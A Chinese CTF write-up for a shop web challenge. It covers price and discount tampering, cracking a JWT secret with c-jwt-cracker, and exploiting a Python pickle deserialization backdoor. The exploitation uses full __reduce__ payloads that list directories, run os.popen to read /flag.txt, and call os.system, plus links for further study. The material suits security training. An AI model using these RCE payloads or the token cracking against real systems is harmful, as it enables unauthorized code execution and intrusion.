初步发现

打开发现是商场购物页面

提示要买lv6,点下一页看看,还是一堆商品,感觉是要写脚本找到lv6,调试一下找到lv相关信息,写脚本找到。在page181里面

点商品,注意有两个,一个是商品详情页,一个是直接点购买

抓包发现

有price还有折扣,发现改price怎么改都不行,那么就试试只改折扣。

暴露了后台地址,访问发现只能admin

又注意到抓包有jwt。

解密 https://jwt.io/

要改则必须破解密码 利用 c-jwt-cracker

https://github.com/brendan-rius/c-jwt-cracker

./jwtcrack   加密后的结果

密钥1Kun

改完重新发包,点击一键成为大会员没什么用

源码审计

看源代码,发现泄露,下载完审计

发现有hint

\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc
Unicode解码得
这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

找后门

在Admin.py找到

pickle反序列化

pickle:Python对象的持久化存储

功能:将任意Python对象存储及恢复

关键函数

pickle.dump()   文件
pickle.load()
pickle.dumps() 字符串
pickle.loads()
dump():将 Python 中的对象序列化成二进制对象,并写入文件;
load():读取指定的序列化数据文件,并返回对象。
dumps():将 Python 中的对象序列化成二进制对象,并返回;
loads():读取给定的二进制对象数据,并将其转换为 Python 对象;

具体用法

Python pickle模块:实现Python对象的持久化存储 (biancheng.net)

反序列化详解

Python pickle 反序列化详解 - FreeBuf网络安全行业门户

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)

只要在序列化中的字符串中存在R指令,__reduce__方法就会被执行,无论正常程序中是否写明了__reduce__方法

记得生成payload时使用的python版本尽量与目标上的版本一致

p = pickle.loads(urllib.unquote(become))

urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式
pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回

在 Python2.x 中的用法是:
urllib.quote(text)
Python3.x 中是
urllib.parse.quote(text)
URL 中传参数的部分(query String),格式是:
name1=value1&name2=value2&name3=value3
假如你的 name 或者 value 值中有『&』或者『=』等符号,就当然会有问题。所以URL中的参数字符串也需要把『&=』等符号进行编码。
URL编码的方式是把需要编码的字符转化为 %xx 的形式。

继续做题

点击一键成为大会员,抓包发现become参数,利用reduce方法构造poc,修改become值,执行命令

Python2和Python3的执行结果不同,下面Python2的成功了(不明原因)

读取目录

import pickle
import urllib
import os
class ikun(object):
def __reduce__(self):
return (os.listdir, ('/',))# reduce第二个参数得是元组


a = pickle.dumps(ikun(), protocol=0)
#print a
a = urllib.quote(a)
print a
# cposix%0Alistdir%0Ap0%0A%28S%27/%27%0Ap1%0Atp2%0ARp3%0A.
import pickle
import urllib.parse
import os
class ikun(object):
def __reduce__(self):
return (os.listdir, ('/',))


a = pickle.dumps(ikun(), protocol=0)
print(a)
a = urllib.parse.quote(a)
print(a)
# cnt%0Alistdir%0Ap0%0A%28V/%0Ap1%0Atp2%0ARp3%0A.

最后执行

class ikun(object):
def __reduce__(self):
cmd = 'cat /flag.txt' # 要执行的命令
s = "__import__('os').popen('{}').read()".format(cmd)
# return (os.listdir, ('/',))
return (eval, (s,))

a = pickle.dumps(ikun(), protocol=0)
print(a)
a = urllib.parse.quote(a)
print(a)
# c__builtin__%0Aeval%0Ap0%0A%28V__import__%28%27os%27%29.popen%28%27cat%20/flag.txt%27%29.read%28%29%0Ap1%0Atp2%0ARp3%0A.
一些可执行的
# 未导入os模块,通用
return (__import__('os').system, ('calc.exe',))
# return eval,("__import__('os').system('calc.exe')",)
# return (eval,("__import__('os').popen('ls').read()",))
# return map, (__import__('os').system, ('calc.exe',))
# return map, (__import__('os').system, ['calc.exe'])

# 导入os模块
# return (os.system, ('calc.exe',))
# return eval, ("os.system('calc.exe')",)
# return map, (os.system, ('calc.exe',))
# return map, (os.system, ['calc.exe'])
# return (eval, ("open('/flag.txt','r').read()",))

深入学习:

pickle反序列化初探 - 先知社区 (aliyun.com)

pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)

CTF-python pickle反序列化 - sijidou - 博客园 (cnblogs.com)

最近碰到的 Python pickle 反序列化小总结 - 先知社区 (aliyun.com)

python反序列化攻击 - SecPulse.COM | 安全脉搏

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)

Python pickle 反序列化详解 - FreeBuf网络安全行业门户